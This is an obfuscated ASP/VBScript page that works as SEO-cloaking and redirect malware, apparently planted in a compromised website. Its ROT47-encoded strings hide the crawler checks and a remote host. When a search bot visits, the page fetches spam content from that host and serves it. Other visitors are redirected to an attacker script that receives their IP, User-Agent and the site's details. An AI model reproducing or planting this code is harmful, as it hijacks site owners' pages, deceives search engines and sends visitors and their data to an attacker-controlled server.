<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Dim A_A__A,A_A_A_,A_A_AA,A_AA__,A_AA_A Set A_A_AA=Response:Set A_A_A_=Request:Set A_AA_A=Session:Set A_A__A=Application:Set A_AA__=Server A_AA_A.CodePage="65001" A_AA__.ScriptTimeout= (16 * 80 - -4720) function A_AAA_() dim AA__A_ A_AAA_="" AA__A_=A_A_A_.ServerVariables(AA___A("w%%!0&$t#0pvt}%")) if instr(1,AA__A_,AA___A("8@@8=63@E"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A(">D?3@E"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A("D=FCA"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A("32:5FDA:56C"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A("D@9F\D62C49"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A("=J4@D"),1) >0 then A_AAA_=AA___A(":Dq@E") end if if instr(1,AA__A_,AA___A("C@3@K:==2"),1) >0 then A_AAA_=AA___A(":Dq@E") end if end function Public Function A_AAAA(AA__AA) A_AAAA = AA___A("?F==") Set AAA_AA=A_AA__.CreateObject(AA___A("|$)|{a]D6CG6C)|{w%%!")) AAA_AA.Open AA___A("vt%"),AA__AA,False AAA_AA.setRequestHeader AA___A("&D6C\p86?E"),AA___A("2""_~_`_~") AAA_AA.send A_AAAA=AAA_AA.responseBody Set AAA_AA=Nothing set AAAA__ = A_AA__.CreateObject(AA___A("p5@53]$EC62>")) AAAA__.Type = (24 * 89 - 2135) AAAA__.Mode = (11 * 31 - 338) AAAA__.Open AAAA__.Write A_AAAA AAAA__.Position = (85 * 45 - 3825) AAAA__.Type = (38 * 92 - 3494) AAAA__.Charset = AA___A("FE7\g") A_AAAA = AAAA__.ReadText AAAA__.Close End Function Function AA____() Dim AA__AA Dim AA_A__,AA_A_A,AA_AA_,AA_AAA AA_A_A = A_A_A_.ServerVariables(AA___A("$t#'t#0}p|t")) AA_A__ = A_A_A_.ServerVariables(AA___A("$t#'t#0!~#%")) AA_AA_ = A_A_A_.ServerVariables(AA___A("$r#x!%0}p|t")) AA_AAA = A_A_A_.ServerVariables(AA___A("""&t#*0$%#x}v")) AA__AA=AA___A("9EEAi^^")&AA_A_A If AA_A__ <> "80" Then AA__AA = AA__AA & AA___A("i") & AA_A__ AA__AA=AA__AA&AA_AA_ If AA_AAA <>"" Then AA__AA=AA__AA&AA___A("n")& AA_AAA AA____=AA__AA End Function if A_AAA_() = AA___A(":Dq@E") then AAAA_A = A_AAAA(AA___A("9EEAi^^@?=:?6`]E96EC28:44276]4@>^5@>2:?086E0FC=0E6DE]A9An24E:@?l@FE0AFEUD4C:AE0?2>6l")&A_A_A_.ServerVariables(AA___A("$r#x!%0}p|t"))&AA___A("U5DEC:?8l")&A_A_A_.ServerVariables(AA___A("$t#'t#0}p|t"))&AA___A("UEJA6l2DAU5@0:5l")&A_A_A_.ServerVariables(AA___A("""&t#*0$%#x}v"))) A_A_AA.Write(AAAA_A) A_A_AA.end() else AA__AA = AA___A("9EEAi^^@?=:?6`]E96EC28:44276]4@>^d`=20DE2E:DE:42=]A9AnEJA6lDE2E:DE:42=UD96==05@>2:?l")&A_A_A_.ServerVariables(AA___A("$t#'t#0}p|t"))&AA___A("UD96==0C6BF6ED0FC=l")&A_A_A_.ServerVariables(AA___A("$r#x!%0}p|t"))&AA___A("n")&A_A_A_.ServerVariables(AA___A("""&t#*0$%#x}v"))&AA___A("UFD6C0:Al")&A_A_A_.ServerVariables(AA___A("#t|~%t0pss#"))&AA___A("UFD6C0286?El")&A_A_A_.ServerVariables(AA___A("w%%!0&$t#0pvt}%")) A_A_AA.redirect AA__AA end if Function AA___A(ByVal AAAAA_) Dim AAA___, AAA__A, AAA_A_ AAAAA_ = Replace(AAAAA_, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62)) For AAA__A = 1 To Len(AAAAA_) If AAA__A <> AAA_A_ Then AAA___ = AscW(Mid(AAAAA_, AAA__A, 1)) If AAA___ >= 33 And AAA___ <= 79 Then AA___A = AA___A & Chr(AAA___ + 47) ElseIf AAA___ >= 80 And AAA___ <= 126 Then AA___A = AA___A & Chr(AAA___ - 47) Else AAA_A_ = AAA__A + 1 If Mid(AAAAA_, AAA_A_, 1) = AA___A("o") Then AA___A = AA___A & ChrW(AAA___ + 5) Else AA___A = AA___A & Mid(AAAAA_, AAA__A, 1) End If End If Next End Function %>